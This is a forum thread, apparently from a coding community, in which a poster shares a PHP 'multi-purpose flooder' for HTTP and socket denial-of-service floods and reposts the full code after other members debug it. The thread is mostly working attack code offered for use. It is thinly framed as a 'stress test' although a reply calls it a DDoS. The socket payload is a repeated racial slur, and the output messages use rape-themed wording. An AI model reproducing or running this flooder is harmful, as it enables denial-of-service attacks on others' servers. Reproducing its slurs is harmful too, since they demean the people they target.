Multiple Purpose Flooder written in PHP
Hai, I recently coded a multi-purpose flooder that can bwraep and packet flood. This is an unfinished version that only has HTTP raep(bwraep) & Socket raep(basically just floods a socket server with packets). I am going to edit the socket raep and add TCP and UDP flood in the next version.
Code: Select all
Reply with your ideas and suggestions. (:<?php
error_reporting(E_ALL | E_STRICT);
date_default_timezone_set(@date_default_timezone_get());
function screen($text, $type = 'INFO', $die = false){
($die ? die("$text\n") : print('[' . date('H:i:s a') . "] [$type] -> $text\n"));
}
function upCheck($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ($code == 200 ? true : false);
}
define('TARGET', "http://localhost/register.php");
define('FLOOD_TYPE', strtolower('http')); //change socket to the flood type you want ;)
define('THREADING', 'ON'); //Can be 'ON' or 'OFF'
define('THREADS', (int)275);
define('OS', strtoupper(substr(PHP_OS, 1, 3)));
if(!in_array(FLOOD_TYPE, array('http', 'udp', 'tcp', 'socket'))) screen('Unrecognized flood type.', 'TYPE', true);
if(!FLOOD_TYPE == 'http'){
$exp = explode(':', TARGET);
if(!$exp) screen('Malformed target or error exploding target string', 'ERROR', true);
if(!@$exp[0] || !@$exp[1]) screen('Malformed target.', 'ERROR', true);
if(!is_numeric($exp[1])) screen('Port is not numeric.', 'ERROR', true);
define('HOST', @$exp[0]);
define('PORT', (int)@$exp[1]);
unset($exp);
}
switch(FLOOD_TYPE){
case 'socket':
$lol = 'NIGGERS.NIGGERS.NIGGERS.NIGGERS.NIGGERS';
$count = 1;
$tSock = socket_create(AF_INET, SOCK_STREAM, 0) or screen('Unable to create test socket.', 'ERROR', true);
if(!@socket_connect($tSock, HOST, PORT)) screen('Unable to connect (Test socket)', 'ERROR', true);
@socket_close($tSock);
screen('Initiating socket flood.');
if(THREADING == 'ON' && OS != 'WIN'){
screen('Threading is ON.' . chr(10) . 'Creating threads..');
for($i = 0; $i <= THREADS; $i++){
$pid = pcntl_fork();
if(!$pid == 0) break;
pcntl_wait($status);
screen(sprintf("Thread %s created (PID: %s)", $i, $pid));
}
}
while(true){
$sock = socket_create(AF_INET, SOCK_STREAM, 0);
if(@socket_connect($sock, HOST, PORT)){
$lol .= '.NIGGERS.NIGGERS';
@socket_write($sock, $lol);
(OS != 'WIN') ? screen("Packet sent! (Count: $count, PID: $pid)") : screen("Packet sent! (Count: $count)");
$count++;
} else {
screen('Unable to connect.');
}
}
break;
case 'http':
upCheck(TARGET);
screen('Initiating HTTP flood..');
define('FILE_EXT', '.htm'); //Change if needed
$count = 1;
if(THREADING == 'ON' && OS != 'WIN'){
screen('Threading is ON.' . chr(10) . 'Creating threads..' . chr(10));
for($i = 0; $i <= THREADS; $i++){
$pid = pcntl_fork();
if(!$pid == 0) break;
pcntl_wait($status);
screen(sprintf("Thread %s created (PID: %s)", $i, $pid));
}
}
(!is_dir('FILES') ? mkdir('FILES') : 'OK');
$bytes = '';
$format = '';
while(true){
MakeFile:
$randint = rand(1, 9999);
if(!file_exists('FILES' . $randint . FILE_EXT)){
copy(TARGET, 'FILES/' . $randint . FILE_EXT);
if(file_exists('FILES/' . $randint . FILE_EXT)){
$bytes += filesize('FILES/' . $randint . FILE_EXT);
$format = number_format(($bytes/1024),2,'.','') . 'KB';
@unlink('FILES/' . $randint . FILE_EXT);
}
(THREADING != 'WIN' ? screen(sprintf("Rape #%s (%s) | Total Rape: %s", $count, $pid, $format)) : screen(sprintf("Rape #%s | Total Rape: %s", $count, $format)));
$count++;
}
else goto MakeFile;
}
break;
}
function __destruct(){
if(is_dir('FILES')){
foreach(readdir('FILES') as $i=> $file){
unlink($file);
}
rmdir('FILES');
}
}
?>
Last edited by Kelly on Mon Nov 21, 2011 12:50 am, edited 1 time in total.
So this is like a VERY small D-DOS attack on a server????
Practice makes perfect!
VIP since: 6-10-2011
VIP since: 6-10-2011
clanc789 wrote:So this is like a VERY small D-DOS attack on a server????He/she (tell me what you are honey lol) uses it on apache, so there is nothing illegal happening, and the nice word for this is a network stress test
When I run this script it just exits after making 1 request.
Is this aimed toward a specific type of server? Most web servers are designed to ignore this sort of traffic.
Is this aimed toward a specific type of server? Most web servers are designed to ignore this sort of traffic.
Axel wrote:I'm female lol, and this is a kind of stress test script. (Well it is lol)clanc789 wrote:So this is like a VERY small D-DOS attack on a server????He/she (tell me what you are honey lol) uses it on apache, so there is nothing illegal happening, and the nice word for this is a network stress test
The HTTP flood isn't really a flood, it's kind of like a PHP version of pygetraep.
The socket flood uses packets.
I am going to edit the HTTP flood to send malformed packets aswell. (Which is only effective with apache)
mandai wrote:When I run this script it just exits after making 1 request.There are currently two different types of methods, those two are socket and HTTP. To use socket flooding you need to have a port in the target, something like:
Is this aimed toward a specific type of server? Most web servers are designed to ignore this sort of traffic.
Code: Select all
For HTTP you would need something like:
127.0.0.1:6112
Code: Select all
In the HTTP type you can change the file extension (it's within the code)http://localhost/register.php
You must be doing something wrong because the script works fine for me.
Generally if you want to stress test a web server, you need to send valid requests.
I have tried both the socket and http options and there doesn't appear to be any result according to the output.
I have tried both the socket and http options and there doesn't appear to be any result according to the output.
You must be doing something wrong because the script works fine for me.Tell that to the screenshot:
You do not have the required permissions to view the files attached to this post.
Threading doesn't work on Windows so just turn threading off. (You can do this by changing the value of THREADING in the beginning of the script to 'OFF')
mandai wrote:The 2nd result is when threading was turned off.Try this:
Code: Select all
<?php
error_reporting(E_ALL | E_STRICT);
date_default_timezone_set(@date_default_timezone_get());
function screen($text, $type = 'INFO', $die = false){
($die ? die("$text\n") : print('[' . date('H:i:s a') . "] [$type] -> $text\n"));
}
function upCheck($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ($code == 200 ? true : false);
}
define('TARGET', "http://localhost/register.php");
define('FLOOD_TYPE', strtolower('http')); //change socket to the flood type you want ;)
define('THREADING', 'ON'); //Can be 'ON' or 'OFF'
define('THREADS', (int)275);
define('OS', strtoupper(substr(PHP_OS, 1, 3)));
if(!in_array(FLOOD_TYPE, array('http', 'udp', 'tcp', 'socket'))) screen('Unrecognized flood type.', 'TYPE', true);
if(!FLOOD_TYPE == 'http'){
$exp = explode(':', TARGET);
if(!$exp) screen('Malformed target or error exploding target string', 'ERROR', true);
if(!@$exp[0] || !@$exp[1]) screen('Malformed target.', 'ERROR', true);
if(!is_numeric($exp[1])) screen('Port is not numeric.', 'ERROR', true);
define('HOST', @$exp[0]);
define('PORT', (int)@$exp[1]);
unset($exp);
}
switch(FLOOD_TYPE){
case 'socket':
$lol = 'NIGGERS.NIGGERS.NIGGERS.NIGGERS.NIGGERS';
$count = 1;
$tSock = socket_create(AF_INET, SOCK_STREAM, 0) or screen('Unable to create test socket.', 'ERROR', true);
if(!@socket_connect($tSock, HOST, PORT)) screen('Unable to connect (Test socket)', 'ERROR', true);
@socket_close($tSock);
screen('Initiating socket flood.');
if(THREADING == 'ON' && OS != 'WIN'){
screen('Threading is ON.' . chr(10) . 'Creating threads..');
for($i = 0; $i <= THREADS; $i++){
$pid = pcntl_fork();
if(!$pid == 0) break;
pcntl_wait($status);
screen(sprintf("Thread %s created (PID: %s)", $i, $pid));
}
}
while(true){
$sock = socket_create(AF_INET, SOCK_STREAM, 0);
if(@socket_connect($sock, HOST, PORT)){
$lol .= '.NIGGERS.NIGGERS';
@socket_write($sock, $lol);
(OS != 'WIN') ? screen("Packet sent! (Count: $count, PID: $pid)") : screen("Packet sent! (Count: $count)");
$count++;
} else {
screen('Unable to connect.');
}
}
break;
case 'http':
upCheck(TARGET);
screen('Initiating HTTP flood..');
define('FILE_EXT', '.htm'); //Change if needed
$count = 1;
if(THREADING == 'ON' && OS != 'WIN'){
screen('Threading is ON.' . chr(10) . 'Creating threads..' . chr(10));
for($i = 0; $i <= THREADS; $i++){
$pid = pcntl_fork();
if(!$pid == 0) break;
pcntl_wait($status);
screen(sprintf("Thread %s created (PID: %s)", $i, $pid));
}
}
(!is_dir('FILES') ? mkdir('FILES') : 'OK');
$bytes = '';
$format = '';
while(true){
MakeFile:
$randint = rand(1, 9999);
if(!file_exists('FILES' . $randint . FILE_EXT)){
copy(TARGET, 'FILES/' . $randint . FILE_EXT);
if(file_exists('FILES/' . $randint . FILE_EXT)){
$bytes += filesize('FILES/' . $randint . FILE_EXT);
$format = number_format(($bytes/1024),2,'.','') . 'KB';
@unlink('FILES/' . $randint . FILE_EXT);
}
(THREADING != 'WIN' ? screen(sprintf("Rape #%s (%s) | Total Rape: %s", $count, $pid, $format)) : screen(sprintf("Rape #%s | Total Rape: %s", $count, $format)));
$count++;
}
else goto MakeFile;
}
break;
}
function __destruct(){
if(is_dir('FILES')){
foreach(readdir('FILES') as $i=> $file){
unlink($file);
}
rmdir('FILES');
}
}
?>
The HTTP requester seems to be working now, but the socket option still won't connect.
Copyright Information
Copyright © Codenstuff.com 2020 - 2023